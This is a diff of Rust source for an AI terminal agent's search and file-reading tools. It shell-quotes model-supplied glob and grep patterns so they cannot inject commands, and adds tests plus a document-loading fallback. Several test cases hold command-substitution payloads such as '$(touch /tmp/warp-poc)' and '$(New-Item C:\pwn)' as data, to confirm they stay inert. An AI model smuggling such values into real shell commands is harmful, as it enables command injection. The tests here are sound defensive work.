|
||||
// Matches on files in any subdirectory of the target path.
|
||||
join_paths(&[target_path, "*", pattern], shell_launch_data),
|
||||
]
|
||||
})
|
||||
// Patterns are model-controlled action input. Quote after joining with
|
||||
// the target path so metacharacters stay inside the git pathspec.
|
||||
.map(|pattern| shell_quote_arg(&pattern, shell_type))
|
||||
.join(" ");
|
||||
format!("git ls-files -c -o --exclude-standard -- {pattern_args}")
|
||||
}
|
||||
|
||||
fn build_find_command(patterns: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// Preserve the existing `find` expression while making each model-provided
|
||||
// pattern a quoted `-name` argument instead of shell syntax.
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!("-name {}", shell_quote_arg(pattern, shell_type)))
|
||||
.join(" -o ");
|
||||
format!(
|
||||
"find {} -type f {pattern_args}",
|
||||
shell_quote_arg(target_path, shell_type)
|
||||
)
|
||||
}
|
||||
|
||||
fn build_powershell_get_childitem_command(patterns: &[String], target_path: &str) -> String {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
// PowerShell expands expressions in double-quoted strings. Single quote
|
||||
// each pattern so it is passed unchanged to -Include.
|
||||
.map(|pattern| shell_quote_arg(pattern, ShellType::PowerShell))
|
||||
.join(",");
|
||||
format!(
|
||||
"Get-ChildItem -File -Recurse -Include {pattern_args} -Path {} | ForEach-Object {{ $_.FullName }}",
|
||||
shell_quote_arg(target_path, ShellType::PowerShell)
|
||||
)
|
||||
}
|
||||
|
||||
fn non_empty_lines(str: &str) -> impl Iterator<Item = &str> {
|
||||
str.lines().filter(|line| !line.is_empty())
|
||||
}
|
||||
@@ -374,3 +406,7 @@ fn non_empty_lines(str: &str) -> impl Iterator<Item = &str> {
|
||||
impl Entity for FileGlobExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "file_glob_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use super::*;
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn build_find_command_single_quotes_patterns_and_path() {
|
||||
let patterns = vec![
|
||||
"$(touch /tmp/warp-poc)*.rs".to_string(),
|
||||
"owner's*.rs".to_string(),
|
||||
];
|
||||
|
||||
let command = build_find_command(&patterns, "/tmp/repo path", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"find '/tmp/repo path' -type f -name '$(touch /tmp/warp-poc)*.rs' -o -name 'owner'"'"'s*.rs'"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_git_ls_files_command_single_quotes_joined_patterns() {
|
||||
let pattern = "$(touch /tmp/warp-poc)*.rs";
|
||||
let patterns = vec![pattern.to_string()];
|
||||
let target_path = PathBuf::from(std::path::MAIN_SEPARATOR_STR)
|
||||
.join("tmp")
|
||||
.join("repo");
|
||||
|
||||
let command = build_git_ls_files_command(
|
||||
&patterns,
|
||||
target_path.to_str().unwrap(),
|
||||
None,
|
||||
ShellType::Bash,
|
||||
);
|
||||
|
||||
let expected = format!(
|
||||
"git ls-files -c -o --exclude-standard -- '{}' '{}'",
|
||||
target_path.join(pattern).display(),
|
||||
target_path.join("*").join(pattern).display(),
|
||||
);
|
||||
assert_eq!(command, expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_powershell_get_childitem_command_single_quotes_patterns_and_path() {
|
||||
let patterns = vec![
|
||||
r#"$(New-Item C:\pwn)*.rs"#.to_string(),
|
||||
"owner's*.rs".to_string(),
|
||||
];
|
||||
|
||||
let command = build_powershell_get_childitem_command(&patterns, r#"C:\repo path"#);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"Get-ChildItem -File -Recurse -Include '$(New-Item C:\pwn)*.rs','owner''s*.rs' -Path 'C:\repo path' | ForEach-Object { $_.FullName }"#
|
||||
);
|
||||
}
|
||||
@@ -12,7 +12,8 @@ use crate::{
|
||||
},
|
||||
blocklist::BlocklistAIPermissions,
|
||||
get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesError, GetRelevantFilesStatus,
|
||||
GetRelevantFilesController, GetRelevantFilesError, GetRelevantFilesRequestTarget,
|
||||
GetRelevantFilesStatus,
|
||||
},
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
@@ -199,7 +200,9 @@ impl GetFilesExecutor {
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
¤t_working_directory,
|
||||
GetRelevantFilesRequestTarget::Local {
|
||||
directory: current_working_directory.clone(),
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
@@ -308,7 +311,8 @@ impl GetFilesExecutor {
|
||||
ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let result =
|
||||
read_local_file_context(&files, current_working_directory, shell, None, None).await?;
|
||||
read_local_file_context(&files, current_working_directory, shell, None, None)
|
||||
.await?;
|
||||
if result.missing_files.is_empty() {
|
||||
Ok(GetFilesResult::Success {
|
||||
files: result.file_contexts,
|
||||
|
||||
@@ -4,49 +4,34 @@ use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
use galaxyui::r#async::FutureExt as AsyncFutureExt;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::redaction::redact_secrets;
|
||||
use crate::ai::agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType, GrepResult, ServerOutputId,
|
||||
};
|
||||
use crate::ai::blocklist::{
|
||||
telemetry_banner::should_collect_ai_ugc_telemetry, BlocklistAIPermissions,
|
||||
};
|
||||
use crate::ai::paths::{host_native_absolute_path, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::ExecuteCommandOptions;
|
||||
use crate::PrivacySettings;
|
||||
use crate::{
|
||||
ai::agent::{AIAgentActionResultType, GrepFileMatch, GrepLineMatch},
|
||||
send_telemetry_from_app_ctx,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession, model::session::Session, shell::ShellType,
|
||||
ShellLaunchData,
|
||||
},
|
||||
TelemetryEvent,
|
||||
};
|
||||
|
||||
use super::{
|
||||
get_server_output_id, is_file_path, is_git_repository, ActionExecution, AnyActionExecution,
|
||||
ExecuteActionInput, PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::redaction::redact_secrets;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, GrepFileMatch, GrepLineMatch,
|
||||
GrepResult, ServerOutputId,
|
||||
};
|
||||
use crate::ai::blocklist::telemetry_banner::should_collect_ai_ugc_telemetry;
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::{host_native_absolute_path, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::{shell_quote_arg, ExecuteCommandOptions, Session};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::{send_telemetry_from_app_ctx, PrivacySettings, TelemetryEvent};
|
||||
|
||||
const GREP_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
const NON_ZERO_EXIT_CODE_ERROR: &str = "Grep command exited with non-zero exit code";
|
||||
|
||||
fn escape_double_quotes(s: &str) -> String {
|
||||
s.replace('"', "\\\"")
|
||||
}
|
||||
|
||||
fn powershell_escape_double_quotes(s: &str) -> String {
|
||||
s.replace('"', "`\"")
|
||||
}
|
||||
|
||||
/// Information about the Grep call that resulted in an error, used to send
|
||||
/// telemetry about the error.
|
||||
struct GrepError {
|
||||
@@ -432,6 +417,7 @@ async fn run_grep(
|
||||
&absolute_path,
|
||||
&session,
|
||||
shell_launch_data,
|
||||
shell_type,
|
||||
&execute_directory,
|
||||
)
|
||||
.await
|
||||
@@ -477,20 +463,7 @@ async fn run_git_grep_command(
|
||||
shell_type: ShellType,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// This command works on all the shells we support (even PowerShell).
|
||||
let mut grep_command = "git --no-pager grep --color=never --untracked -nIE".to_string();
|
||||
for query in queries {
|
||||
let escaped_query = format!(
|
||||
"\"{}\"",
|
||||
if shell_type == ShellType::PowerShell {
|
||||
powershell_escape_double_quotes(query)
|
||||
} else {
|
||||
escape_double_quotes(query)
|
||||
}
|
||||
);
|
||||
grep_command.push_str(format!(" -e {escaped_query}").as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" \"{target_path}\"").as_str());
|
||||
let grep_command = build_git_grep_command(queries, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -536,20 +509,10 @@ async fn run_grep_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// Summary of the options we use:
|
||||
// * "--color=never" ensures we don't get colorized output which is harder to parse due to escape sequences
|
||||
// * "-n" includes line numbers
|
||||
// * "-r" performs a recursive search
|
||||
// * "-I" ignores binary files
|
||||
// * "-H" prints file name headers
|
||||
// * "-E" uses extended regex expressions
|
||||
let mut grep_command = "grep --color=never -nrIHE --devices=skip".to_string();
|
||||
for query in queries {
|
||||
grep_command.push_str(format!(" -e \"{}\"", escape_double_quotes(query)).as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" \"{target_path}\"").as_str());
|
||||
let grep_command = build_grep_command(queries, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -598,17 +561,7 @@ async fn run_select_string_command(
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// We enable the `-CaseSensitive` flag to match the default behavior of grep.
|
||||
// TODO(CODE-239): Make this command more efficient when searching a file.
|
||||
let select_string_command = format!(
|
||||
"Get-ChildItem -Path \"{}\" -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern {}",
|
||||
target_path,
|
||||
queries
|
||||
.iter()
|
||||
.map(|q| format!("\"{}\"", powershell_escape_double_quotes(q)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
);
|
||||
let select_string_command = build_select_string_command(queries, target_path);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -640,6 +593,52 @@ async fn run_select_string_command(
|
||||
}
|
||||
}
|
||||
|
||||
fn build_git_grep_command(queries: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// This command works on all the shells we support (even PowerShell).
|
||||
let mut grep_command = "git --no-pager grep --color=never --untracked -nIE".to_string();
|
||||
for query in queries {
|
||||
// Queries can originate from model output and project instructions. Keep
|
||||
// them as grep arguments so shell substitutions like $() are inert.
|
||||
grep_command.push_str(format!(" -e {}", shell_quote_arg(query, shell_type)).as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" {}", shell_quote_arg(target_path, shell_type)).as_str());
|
||||
grep_command
|
||||
}
|
||||
|
||||
fn build_grep_command(queries: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// Summary of the options we use:
|
||||
// * "--color=never" ensures we don't get colorized output which is harder to parse due to escape sequences
|
||||
// * "-n" includes line numbers
|
||||
// * "-r" performs a recursive search
|
||||
// * "-I" ignores binary files
|
||||
// * "-H" prints file name headers
|
||||
// * "-E" uses extended regex expressions
|
||||
let mut grep_command = "grep --color=never -nrIHE --devices=skip".to_string();
|
||||
for query in queries {
|
||||
// Queries can originate from model output and project instructions. Keep
|
||||
// them as grep arguments so shell substitutions like $() are inert.
|
||||
grep_command.push_str(format!(" -e {}", shell_quote_arg(query, shell_type)).as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" {}", shell_quote_arg(target_path, shell_type)).as_str());
|
||||
grep_command
|
||||
}
|
||||
|
||||
fn build_select_string_command(queries: &[String], target_path: &str) -> String {
|
||||
// We enable the `-CaseSensitive` flag to match the default behavior of grep.
|
||||
// TODO(CODE-239): Make this command more efficient when searching a file.
|
||||
format!(
|
||||
"Get-ChildItem -Path {} -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern {}",
|
||||
shell_quote_arg(target_path, ShellType::PowerShell),
|
||||
queries
|
||||
.iter()
|
||||
// PowerShell evaluates command substitutions in double-quoted
|
||||
// strings, so patterns must be single-quoted data arguments.
|
||||
.map(|q| shell_quote_arg(q, ShellType::PowerShell))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
|
||||
/// Parses the output of grep or a grep-like command into the format that we pass
|
||||
/// back to the agent.
|
||||
///
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use super::*;
|
||||
use crate::terminal::{model::secrets::regexes::FIREBASE_AUTH_DOMAIN, shell::ShellType};
|
||||
use crate::terminal::model::secrets::regexes::FIREBASE_AUTH_DOMAIN;
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn test_create_redacted_grep_error_event() {
|
||||
@@ -71,3 +72,39 @@ fn test_create_redacted_grep_error_event() {
|
||||
panic!("Expected GrepToolFailed event");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_git_grep_command_single_quotes_shell_substitution() {
|
||||
let queries = vec!["$(touch /tmp/warp-poc); `id`".to_string()];
|
||||
|
||||
let command = build_git_grep_command(&queries, "/tmp/repo path", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
"git --no-pager grep --color=never --untracked -nIE -e '$(touch /tmp/warp-poc); `id`' '/tmp/repo path'"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_grep_command_escapes_single_quotes() {
|
||||
let queries = vec!["owner's code".to_string()];
|
||||
|
||||
let command = build_grep_command(&queries, "/tmp/repo", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"grep --color=never -nrIHE --devices=skip -e 'owner'"'"'s code' '/tmp/repo'"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_select_string_command_single_quotes_powershell_substitution() {
|
||||
let queries = vec![r#"$(New-Item C:\pwn); 'literal'"#.to_string()];
|
||||
|
||||
let command = build_select_string_command(&queries, r#"C:\repo path"#);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"Get-ChildItem -Path 'C:\repo path' -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern '$(New-Item C:\pwn); ''literal'''"#
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, ReadDocumentsRequest,
|
||||
ReadDocumentsResult,
|
||||
},
|
||||
document::ai_document_model::AIDocumentModel,
|
||||
};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{AppContext, Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, ReadDocumentsRequest, ReadDocumentsResult,
|
||||
};
|
||||
use crate::ai::document::ai_document_model::{AIDocumentId, AIDocumentModel};
|
||||
|
||||
pub struct ReadDocumentsExecutor;
|
||||
|
||||
@@ -32,7 +29,10 @@ impl ReadDocumentsExecutor {
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let ExecuteActionInput { action, .. } = input;
|
||||
let ExecuteActionInput {
|
||||
action,
|
||||
conversation_id,
|
||||
} = input;
|
||||
let AIAgentAction {
|
||||
action: AIAgentActionType::ReadDocuments(ReadDocumentsRequest { document_ids }),
|
||||
..
|
||||
@@ -41,22 +41,41 @@ impl ReadDocumentsExecutor {
|
||||
return ActionExecution::<ReadDocumentsResult>::InvalidAction;
|
||||
};
|
||||
|
||||
// Access the model synchronously before the async block
|
||||
let model = AIDocumentModel::handle(ctx);
|
||||
let documents: Vec<DocumentContext> = document_ids
|
||||
.iter()
|
||||
.filter_map(|id| {
|
||||
let model = model.as_ref(ctx);
|
||||
let content = model.get_document_content(id, ctx)?;
|
||||
let version = model.get_current_document(id)?.version;
|
||||
Some(DocumentContext {
|
||||
document_id: *id,
|
||||
content,
|
||||
line_ranges: vec![],
|
||||
document_version: version,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
// A requested plan may live in Warp Drive without being loaded into this conversation's
|
||||
// document model (e.g. orchestration children reading parent plans, or plan IDs
|
||||
// copy-pasted from another conversation), so fall back to hydrating it on a miss.
|
||||
let mut documents = Vec::with_capacity(document_ids.len());
|
||||
let mut missing_documents = Vec::new();
|
||||
for id in document_ids {
|
||||
let mut document = try_read_document(id, ctx);
|
||||
if document.is_none() {
|
||||
AIDocumentModel::handle(ctx).update(ctx, |model, ctx| {
|
||||
if let Err(error) =
|
||||
model.hydrate_saved_plan_from_warp_drive(*id, conversation_id, ctx)
|
||||
{
|
||||
log::warn!(
|
||||
"Failed to hydrate requested plan document {id} from Warp Drive: {error}"
|
||||
);
|
||||
}
|
||||
});
|
||||
document = try_read_document(id, ctx);
|
||||
}
|
||||
match document {
|
||||
Some(document) => documents.push(document),
|
||||
None => missing_documents.push(*id),
|
||||
}
|
||||
}
|
||||
|
||||
if !missing_documents.is_empty() {
|
||||
let missing_list = missing_documents
|
||||
.iter()
|
||||
.map(ToString::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
return ActionExecution::Sync(
|
||||
ReadDocumentsResult::Error(format!("Document(s) not found: {missing_list}")).into(),
|
||||
);
|
||||
}
|
||||
|
||||
ActionExecution::Sync(ReadDocumentsResult::Success { documents }.into())
|
||||
}
|
||||
@@ -73,3 +92,20 @@ impl ReadDocumentsExecutor {
|
||||
impl Entity for ReadDocumentsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
/// Reads one document, returning `None` if it is not loaded locally.
|
||||
fn try_read_document(id: &AIDocumentId, ctx: &AppContext) -> Option<DocumentContext> {
|
||||
let model = AIDocumentModel::as_ref(ctx);
|
||||
let content = model.get_document_content(id, ctx)?;
|
||||
let version = model.get_current_document(id)?.version;
|
||||
Some(DocumentContext {
|
||||
document_id: *id,
|
||||
content,
|
||||
line_ranges: vec![],
|
||||
document_version: version,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "read_documents_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
ReadDocumentsRequest, ReadDocumentsResult,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::document::ai_document_model::{AIDocumentId, AIDocumentModel};
|
||||
use crate::appearance::Appearance;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::cloud_object::{
|
||||
CloudObjectMetadata, CloudObjectPermissions, CloudObjectStatuses, CloudObjectSyncStatus, Owner,
|
||||
};
|
||||
use crate::notebooks::{CloudNotebook, CloudNotebookModel};
|
||||
use crate::server::ids::SyncId;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
|
||||
fn initialize_app(app: &mut App) {
|
||||
initialize_settings_for_tests(app);
|
||||
app.add_singleton_model(|_| Appearance::mock());
|
||||
app.add_singleton_model(|_| CloudModel::new(None, Vec::new(), None));
|
||||
app.add_singleton_model(|_| AIDocumentModel::new_for_test());
|
||||
app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
}
|
||||
|
||||
fn read_action(document_id: AIDocumentId) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("read-documents-action".to_string()),
|
||||
task_id: TaskId::new("read-documents-task".to_string()),
|
||||
requires_result: true,
|
||||
action: AIAgentActionType::ReadDocuments(ReadDocumentsRequest {
|
||||
document_ids: vec![document_id],
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn add_saved_plan_notebook(app: &mut App, document_id: AIDocumentId, content: &str) {
|
||||
let sync_id = SyncId::ServerId(123.into());
|
||||
let notebook = CloudNotebook::new(
|
||||
sync_id,
|
||||
CloudNotebookModel {
|
||||
title: "Saved plan".to_string(),
|
||||
data: content.to_string(),
|
||||
ai_document_id: Some(document_id),
|
||||
conversation_id: None,
|
||||
},
|
||||
CloudObjectMetadata {
|
||||
pending_changes_statuses: CloudObjectStatuses {
|
||||
content_sync_status: CloudObjectSyncStatus::NoLocalChanges,
|
||||
has_pending_metadata_change: false,
|
||||
has_pending_permissions_change: false,
|
||||
pending_untrash: false,
|
||||
pending_delete: false,
|
||||
},
|
||||
folder_id: None,
|
||||
revision: Default::default(),
|
||||
metadata_last_updated_ts: Default::default(),
|
||||
current_editor_uid: Default::default(),
|
||||
trashed_ts: Default::default(),
|
||||
is_welcome_object: false,
|
||||
creator_uid: None,
|
||||
last_editor_uid: None,
|
||||
last_task_run_ts: None,
|
||||
},
|
||||
CloudObjectPermissions {
|
||||
owner: Owner::mock_current_user(),
|
||||
guests: Vec::new(),
|
||||
permissions_last_updated_ts: None,
|
||||
anyone_with_link: None,
|
||||
},
|
||||
);
|
||||
CloudModel::handle(app).update(app, |cloud_model, _| {
|
||||
cloud_model.add_object(sync_id, notebook);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_lazily_hydrates_missing_plan_for_remote_child_without_local_parent() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor = app.add_model(|_| ReadDocumentsExecutor::new());
|
||||
let document_id = AIDocumentId::new();
|
||||
add_saved_plan_notebook(&mut app, document_id, "# Remote child plan");
|
||||
let child_conversation_id =
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |history, ctx| {
|
||||
let child_conversation_id =
|
||||
history.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
history
|
||||
.conversation_mut(&child_conversation_id)
|
||||
.expect("child conversation should exist")
|
||||
.set_parent_agent_id("non-local-parent-run-id".to_string());
|
||||
child_conversation_id
|
||||
});
|
||||
let action = read_action(document_id);
|
||||
|
||||
let execution: AnyActionExecution = executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: child_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::ReadDocuments(
|
||||
ReadDocumentsResult::Success { documents },
|
||||
)) = execution
|
||||
else {
|
||||
panic!("expected read_documents success");
|
||||
};
|
||||
assert_eq!(documents.len(), 1);
|
||||
assert_eq!(documents[0].document_id, document_id);
|
||||
assert_eq!(documents[0].content, "# Remote child plan\n");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_for_missing_document_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor = app.add_model(|_| ReadDocumentsExecutor::new());
|
||||
let missing_document_id = AIDocumentId::new();
|
||||
let action = read_action(missing_document_id);
|
||||
|
||||
let execution: AnyActionExecution = executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::ReadDocuments(
|
||||
ReadDocumentsResult::Error(error),
|
||||
)) = execution
|
||||
else {
|
||||
panic!("expected read_documents error");
|
||||
};
|
||||
assert!(error.contains(&missing_document_id.to_string()));
|
||||
});
|
||||
}
|
||||
@@ -1,24 +1,20 @@
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, ReadFilesRequest,
|
||||
ReadFilesResult,
|
||||
},
|
||||
blocklist::BlocklistAIPermissions,
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
terminal::model::session::{active_session::ActiveSession, SessionType},
|
||||
};
|
||||
|
||||
use super::{
|
||||
read_local_file_context, ActionExecution, AnyActionExecution, ExecuteActionInput,
|
||||
PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, ReadFilesRequest, ReadFilesResult,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::SessionType;
|
||||
|
||||
pub struct ReadFilesExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -118,20 +114,21 @@ impl ReadFilesExecutor {
|
||||
|
||||
// Check if this is a remote session with a connected host.
|
||||
let session_type = self.active_session.as_ref(ctx).session_type(ctx);
|
||||
let remote_client = match &session_type {
|
||||
let host_request_handle = match &session_type {
|
||||
Some(SessionType::WarpifiedRemote {
|
||||
host_id: Some(host_id),
|
||||
}) => remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.client_for_host(host_id)
|
||||
.cloned(),
|
||||
}) => Some(
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.host_request_handle(host_id),
|
||||
),
|
||||
_ => None,
|
||||
};
|
||||
|
||||
// Remote session without a usable remote server client. File reading
|
||||
// Remote session without a usable remote server connection. File reading
|
||||
// requires either local access or a connected remote server, neither
|
||||
// of which is available.
|
||||
if matches!(session_type, Some(SessionType::WarpifiedRemote { .. }))
|
||||
&& remote_client.is_none()
|
||||
&& host_request_handle.is_none()
|
||||
{
|
||||
return ActionExecution::Sync(AIAgentActionResultType::ReadFiles(
|
||||
ReadFilesResult::Error(
|
||||
@@ -142,7 +139,7 @@ impl ReadFilesExecutor {
|
||||
));
|
||||
}
|
||||
|
||||
if let Some(client) = remote_client {
|
||||
if let Some(handle) = host_request_handle {
|
||||
return ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let request = remote_server::proto::ReadFileContextRequest {
|
||||
@@ -171,7 +168,7 @@ impl ReadFilesExecutor {
|
||||
max_batch_bytes: None,
|
||||
};
|
||||
|
||||
let response = client
|
||||
let response = handle
|
||||
.read_file_context(request)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Remote read failed: {e}"))?;
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use warpui::SingletonEntity;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::ai::mcp::TemplatableMCPServerManager;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::ai::{
|
||||
agent::{AIAgentActionResultType, ReadMCPResourceResult},
|
||||
@@ -13,8 +15,7 @@ use crate::ai::{
|
||||
BlocklistAIPermissions,
|
||||
},
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
pub struct ReadMCPResourceExecutor {
|
||||
_active_session: ModelHandle<ActiveSession>,
|
||||
@@ -128,7 +129,7 @@ impl ReadMCPResourceExecutor {
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
reconnecting_peer
|
||||
.read_resource(rmcp::model::ReadResourceRequestParam { uri })
|
||||
.read_resource(rmcp::model::ReadResourceRequestParams::new(uri))
|
||||
.await
|
||||
},
|
||||
|res, _ctx| handle_read_resource_result(res),
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
use ai::agent::action_result::{AnyFileContent, FileContext};
|
||||
use futures::future::{BoxFuture, FutureExt};
|
||||
use warpui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionType, ReadSkillRequest, ReadSkillResult};
|
||||
